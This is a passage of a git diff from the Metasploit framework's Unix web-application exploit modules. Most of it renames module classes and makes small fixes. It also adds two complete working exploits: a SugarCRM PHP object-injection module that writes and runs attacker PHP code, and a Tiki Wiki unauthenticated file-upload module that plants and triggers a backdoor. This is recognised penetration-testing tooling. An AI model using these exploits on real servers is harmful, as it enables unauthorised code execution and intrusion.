b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb index e7d56fcd2f..2a83f31155 100644 --- a/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb +++ b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb index 8e91a2ef42..3b0a3a3eb1 100644 --- a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb +++ b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/openemr_upload_exec.rb b/modules/exploits/unix/webapp/openemr_upload_exec.rb index df8f0518c8..cd9dac9f8b 100644 --- a/modules/exploits/unix/webapp/openemr_upload_exec.rb +++ b/modules/exploits/unix/webapp/openemr_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/opensis_modname_exec.rb b/modules/exploits/unix/webapp/opensis_modname_exec.rb index 25611c3bcb..1c7a6a73b5 100644 --- a/modules/exploits/unix/webapp/opensis_modname_exec.rb +++ b/modules/exploits/unix/webapp/opensis_modname_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/openview_connectednodes_exec.rb b/modules/exploits/unix/webapp/openview_connectednodes_exec.rb index d271d446fa..01606273b0 100644 --- a/modules/exploits/unix/webapp/openview_connectednodes_exec.rb +++ b/modules/exploits/unix/webapp/openview_connectednodes_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/unix/webapp/openx_banner_edit.rb b/modules/exploits/unix/webapp/openx_banner_edit.rb index d76318ede7..c6a695a8d5 100644 --- a/modules/exploits/unix/webapp/openx_banner_edit.rb +++ b/modules/exploits/unix/webapp/openx_banner_edit.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb index c9afc417e0..4a0f7a4ff5 100644 --- a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb +++ b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -54,8 +54,8 @@ class Metasploit3 < Msf::Exploit::Remote Opt::RPORT(8899), OptBool.new('SSL', [ true, 'Use SSL', true ]), OptString.new('CMD', [ false, "A single command to execute instead of the payload" ]), - OptString.new('USERNAME', [ true, "The user to authenticate as", 'oracle']), - OptString.new('PASSWORD', [ true, "The password to authenticate with" ]) + OptString.new('HttpUsername', [ true, "The user to authenticate as", 'oracle']), + OptString.new('HttpPassword', [ true, "The password to authenticate with" ]) ], self.class) deregister_options( diff --git a/modules/exploits/unix/webapp/oscommerce_filemanager.rb b/modules/exploits/unix/webapp/oscommerce_filemanager.rb index 51d6d0c8f9..b3e1bf3bbd 100644 --- a/modules/exploits/unix/webapp/oscommerce_filemanager.rb +++ b/modules/exploits/unix/webapp/oscommerce_filemanager.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/pajax_remote_exec.rb b/modules/exploits/unix/webapp/pajax_remote_exec.rb index d53edeb6e2..711533e4f3 100644 --- a/modules/exploits/unix/webapp/pajax_remote_exec.rb +++ b/modules/exploits/unix/webapp/pajax_remote_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/unix/webapp/php_charts_exec.rb b/modules/exploits/unix/webapp/php_charts_exec.rb index 3c4ca54256..b33f1a45bc 100644 --- a/modules/exploits/unix/webapp/php_charts_exec.rb +++ b/modules/exploits/unix/webapp/php_charts_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/php_eval.rb b/modules/exploits/unix/webapp/php_eval.rb index 4c57758421..07671c52e1 100644 --- a/modules/exploits/unix/webapp/php_eval.rb +++ b/modules/exploits/unix/webapp/php_eval.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/php_include.rb b/modules/exploits/unix/webapp/php_include.rb index 960c8387dd..5ce9472bb2 100644 --- a/modules/exploits/unix/webapp/php_include.rb +++ b/modules/exploits/unix/webapp/php_include.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/unix/webapp/php_vbulletin_template.rb b/modules/exploits/unix/webapp/php_vbulletin_template.rb index c8edda9b97..70a7a5713e 100644 --- a/modules/exploits/unix/webapp/php_vbulletin_template.rb +++ b/modules/exploits/unix/webapp/php_vbulletin_template.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -77,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote b = /#{wrapper}[\s\r\n]*(.*)[\s\r\n]*#{wrapper}/sm.match(res.body) if b return b.captures[0] - elsif datastore['HTTP::chunked'] == true + elsif datastore['HTTP::chunked'] b = /chunked Transfer-Encoding forbidden/.match(res.body) if b fail_with(Failure::Unknown, 'Target PHP installation does not support chunked encoding. Support for chunked encoded requests was added to PHP on 12/15/2005. Try disabling HTTP::chunked and trying again.') diff --git a/modules/exploits/unix/webapp/php_xmlrpc_eval.rb b/modules/exploits/unix/webapp/php_xmlrpc_eval.rb index 996a060a4b..fedf43dcfc 100644 --- a/modules/exploits/unix/webapp/php_xmlrpc_eval.rb +++ b/modules/exploits/unix/webapp/php_xmlrpc_eval.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote b = /#{wrapper}(.*)#{wrapper}/sm.match(res.body) if b return b.captures[0] - elsif datastore['HTTP::chunked'] == true + elsif datastore['HTTP::chunked'] b = /chunked Transfer-Encoding forbidden/.match(res.body) if b fail_with(Failure::BadConfig, 'Target PHP installation does not support chunked encoding. Support for chunked encoded requests was added to PHP on 12/15/2005. Try disabling HTTP::chunked and trying again.') diff --git a/modules/exploits/unix/webapp/phpbb_highlight.rb b/modules/exploits/unix/webapp/phpbb_highlight.rb index 009305625b..92159e9983 100644 --- a/modules/exploits/unix/webapp/phpbb_highlight.rb +++ b/modules/exploits/unix/webapp/phpbb_highlight.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index 9775cd9fb0..2505a8901e 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/projectpier_upload_exec.rb b/modules/exploits/unix/webapp/projectpier_upload_exec.rb index 71382a1f17..6149f0a6cf 100644 --- a/modules/exploits/unix/webapp/projectpier_upload_exec.rb +++ b/modules/exploits/unix/webapp/projectpier_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/projectsend_upload_exec.rb b/modules/exploits/unix/webapp/projectsend_upload_exec.rb index e01415cfb4..0600c02ad9 100644 --- a/modules/exploits/unix/webapp/projectsend_upload_exec.rb +++ b/modules/exploits/unix/webapp/projectsend_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb b/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb index 5e43183164..90cab50a10 100644 --- a/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb +++ b/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/redmine_scm_exec.rb b/modules/exploits/unix/webapp/redmine_scm_exec.rb index 113f7cc419..fa917c7e4e 100644 --- a/modules/exploits/unix/webapp/redmine_scm_exec.rb +++ b/modules/exploits/unix/webapp/redmine_scm_exec.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/seportal_sqli_exec.rb b/modules/exploits/unix/webapp/seportal_sqli_exec.rb index 8f8da55d8e..f71b7fd44c 100644 --- a/modules/exploits/unix/webapp/seportal_sqli_exec.rb +++ b/modules/exploits/unix/webapp/seportal_sqli_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb index 4d18db356b..b0e2edb30b 100644 --- a/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb +++ b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/sixapart_movabletype_storable_exec.rb b/modules/exploits/unix/webapp/sixapart_movabletype_storable_exec.rb index 9a75e1d9cb..1e47de44e0 100644 --- a/modules/exploits/unix/webapp/sixapart_movabletype_storable_exec.rb +++ b/modules/exploits/unix/webapp/sixapart_movabletype_storable_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient @@ -110,7 +110,7 @@ print "LFI test for storable flaw is: $frozen\n"; end def exploit - if datastore['DESTRUCTIVE'] == true + if datastore['DESTRUCTIVE'] exploit_destructive else exploit_nondestructive diff --git a/modules/exploits/unix/webapp/skybluecanvas_exec.rb b/modules/exploits/unix/webapp/skybluecanvas_exec.rb index 5575ae12fc..1852ca5571 100644 --- a/modules/exploits/unix/webapp/skybluecanvas_exec.rb +++ b/modules/exploits/unix/webapp/skybluecanvas_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw('uri' => uri) - if res and res.body =~ /[1.1 r248]/ + if res && res.body.include?('SkyBlueCanvas [1.1 r248]') vprint_good("SkyBlueCanvas CMS 1.1 r248-xx found") return Exploit::CheckCode::Appears end @@ -89,7 +89,9 @@ class Metasploit3 < Msf::Exploit::Remote 'email' => rand_text_alphanumeric(10), 'subject' => rand_text_alphanumeric(10), 'message' => rand_text_alphanumeric(10), - 'action' => 'Send' + 'action' => 'Send', + 'mailinglist' => '0', + 'cc' => '0' } }) end diff --git a/modules/exploits/unix/webapp/sphpblog_file_upload.rb b/modules/exploits/unix/webapp/sphpblog_file_upload.rb index fdfed0a499..1633e81cde 100644 --- a/modules/exploits/unix/webapp/sphpblog_file_upload.rb +++ b/modules/exploits/unix/webapp/sphpblog_file_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/spip_connect_exec.rb b/modules/exploits/unix/webapp/spip_connect_exec.rb index 06bd9ecd7c..5d7cc5c5e9 100644 --- a/modules/exploits/unix/webapp/spip_connect_exec.rb +++ b/modules/exploits/unix/webapp/spip_connect_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/squash_yaml_exec.rb b/modules/exploits/unix/webapp/squash_yaml_exec.rb index a8303ca871..bd489e6b3a 100644 --- a/modules/exploits/unix/webapp/squash_yaml_exec.rb +++ b/modules/exploits/unix/webapp/squash_yaml_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb b/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb index a116da0fa5..61eba13594 100644 --- a/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb +++ b/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # diff --git a/modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb b/modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb new file mode 100644 index 0000000000..501c736e80 --- /dev/null +++ b/modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb @@ -0,0 +1,94 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SugarCRM REST Unserialize PHP Code Execution', + 'Description' => %q{ + This module exploits a PHP Object Injection vulnerability in SugarCRM CE <= 6.5.23 + which could be abused to allow unauthenticated users to execute arbitrary PHP code with + the permissions of the webserver. The dangerous unserialize() call exists in the + '/service/core/REST/SugarRestSerialize.php' script. The exploit abuses the __destruct() + method from the SugarCacheFile class to write arbitrary PHP code into the /custom directory. + }, + 'Author' => 'EgiX', + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://karmainsecurity.com/KIS-2016-07'], + ['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-001'], + ['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-008'], + ['URL', 'https://bugs.php.net/bug.php?id=72663'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [ ['SugarCRM CE <= 6.5.23', {}] ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 23 2016' + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"]) + ], self.class) + end + + def exploit + upload_php = '/custom/' + rand_text_alpha(rand(4)+8) + '.php' + + payload_serialized = "O:+14:\"SugarCacheFile\":23:{S:17:\"\\00*\\00_cacheFileName\";" + payload_serialized << "s:#{upload_php.length+2}:\"..#{upload_php}\";S:16:\"\\00*\\00" + payload_serialized << "_cacheChanged\";b:1;S:14:\"\\00*\\00_localStore\";a:1:{i:0;s:55" + payload_serialized << ":\"\";}}" + + print_status("#{peer} - Exploiting the unserialize() to upload PHP code") + + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, 'service/v4/rest.php'), + 'method' => 'POST', + 'vars_post' => { + 'method' => 'login', + 'input_type' => 'Serialize', + 'rest_data' => payload_serialized + } + }) + + unless res + print_error('Connection timed out while sending a request to rest.php') + return + end + + if res && res.code != 200 + print_error("#{peer} - Exploit failed: #{res.code}") + return + end + + register_files_for_cleanup(File.basename(upload_php)) + + print_status("#{peer} - Executing the payload #{upload_php}") + + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, upload_php), + 'headers' => { 'payload' => Rex::Text.encode_base64(payload.encoded) } + }) + + if res && res.code != 200 + print_error("#{peer} - Payload execution failed: #{res.code}") + return + end + end +end diff --git a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb index 918ff7cfb7..d9a3ffc18e 100644 --- a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -94,8 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'data' => data }) - - if res.nil? || res.headers['Location'].include?('action=Login') || res.get_cookies.empty? + if res.nil? || (res.headers['Location'] && res.headers['Location'].include?('action=Login')) || res.get_cookies.empty? fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\"") end diff --git a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb index 04e6167531..de46b20848 100644 --- a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb index a1ba47c228..4d46b0051f 100644 --- a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb index 3f6e06931e..0839e46091 100644 --- a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/tikiwiki_upload_exec.rb b/modules/exploits/unix/webapp/tikiwiki_upload_exec.rb new file mode 100644 index 0000000000..c44aeb229f --- /dev/null +++ b/modules/exploits/unix/webapp/tikiwiki_upload_exec.rb @@ -0,0 +1,102 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Tiki Wiki Unauthenticated File Upload Vulnerability', + 'Description' => %q{ + This module exploits a file upload vulnerability in Tiki Wiki <= 15.1 + which could be abused to allow unauthenticated users to execute arbitrary code + under the context of the web server user. + + The issue comes with one of the 3rd party components. Name of that components is + ELFinder -version 2.0-. This components comes with default example page which + demonstrates file operations such as upload, remove, rename, create directory etc. + Default configuration does not force validations such as file extension, content-type etc. + Thus, unauthenticated user can upload PHP file. + + The exploit has been tested on Debian 8.x 64-bit and Tiki Wiki 15.1. + }, + 'Author' => + [ + 'Mehmet Ince ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://www.mehmetince.net/exploit/tiki-wiki-unauthenticated-file-upload-vulnerability' ], + [ 'URL', 'https://tiki.org/article434-Security-update-Tiki-15-2-Tiki-14-4-and-Tiki-12-9-released' ] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Payload' => + { + 'DisableNops' => true + }, + 'Targets' => [ ['Automatic', {}] ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 11 2016' + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, "Installed path of Tiki Wiki", "/tiki/"]) + ], self.class) + end + + def check + url = normalize_uri(target_uri.path, "vendor_extra/elfinder/elfinder.html") + res = send_request_cgi( + 'method' => 'GET', + 'uri' => url + ) + + if res && res.code == 200 + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Safe + end + + def exploit + filename = rand_text_alpha(8 + rand(4)) + '.php' + register_file_for_cleanup(filename) + + data = Rex::MIME::Message.new + data.add_part('upload', nil, nil, 'form-data; name="cmd"') + data.add_part('l1_Lw', nil, nil, 'form-data; name="target"') + data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"upload[]\"; filename=\"#{filename}\"") + + print_status("Uploading backdoor file: #{filename}") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "vendor_extra/elfinder/php/connector.minimal.php"), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s + }) + + if res && res.code == 200 + print_good("Backdoor successfully created.") + else + fail_with(Failure::Unknown, "#{peer} - Error on uploading file") + end + + print_status("Trigging the exploit...") + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "vendor_extra/elfinder/files/" + filename) + }, 5) + end +end diff --git a/modules/exploits/unix/webapp/trixbox_langchoice.rb b/modules/exploits/unix/webapp/trixbox_langchoice.rb index 817d0d3a3e..777ae27a6c 100644 --- a/modules/exploits/unix/webapp/trixbox_langchoice.rb +++ b/modules/exploits/unix/webapp/trixbox_langchoice.rb @@ -6,7 +6,7 @@ # -*- coding: utf-8 -*- require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking PHPSESSID_REGEX = /(?:^|;?)PHPSESSID=(\w+)(?:;|$)/ diff --git a/modules/exploits/unix/webapp/tuleap_unserialize_exec.rb b/modules/exploits/unix/webapp/tuleap_unserialize_exec.rb index ac13d101db..56144a5917 100644 --- a/modules/exploits/unix/webapp/tuleap_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/tuleap_unserialize_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/twiki_history.rb b/modules/exploits/unix/webapp/twiki_history.rb index 0e2e00d06c..6cc5113f2e 100644 --- a/modules/exploits/unix/webapp/twiki_history.rb +++ b/modules/exploits/unix/webapp/twiki_history.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/twiki_maketext.rb b/modules/exploits/unix/webapp/twiki_maketext.rb index c371316749..73207fd2a9 100644 --- a/modules/exploits/unix/webapp/twiki_maketext.rb +++ b/modules/exploits/unix/webapp/twiki_maketext.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/twiki_search.rb b/modules/exploits/unix/webapp/twiki_search.rb index 95ed12f2fe..183f696ffb 100644 --- a/modules/exploits/unix/webapp/twiki_search.rb +++ b/modules/exploits/unix/webapp/twiki_search.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb index 373ad569cc..6f94c0aa4e 100644 --- a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb +++ b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb index 45c8bbe1cf..01ea8823c6 100644 --- a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb +++ b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb index 1579b33cc9..c058cbf271 100644 --- a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb +++ b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/webtester_exec.rb b/modules/exploits/unix/webapp/webtester_exec.rb index 5817ebf9d4..bf55cd2c70 100644 --- a/modules/exploits/unix/webapp/webtester_exec.rb +++ b/modules/exploits/unix/webapp/webtester_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/wp_admin_shell_upload.rb b/modules/exploits/unix/webapp/wp_admin_shell_upload.rb index 1ab30f176f..1b498ca2ea 100644 --- a/modules/exploits/unix/webapp/wp_admin_shell_upload.rb +++ b/modules/exploits/unix/webapp/wp_admin_shell_upload.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/zip' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper diff --git a/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb b/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb index 008317ea7f..b76d8d9fdd 100644 --- a/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb +++ b/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb b/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb index 06b6f4b909..247a904595 100644 --- a/modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb +++ 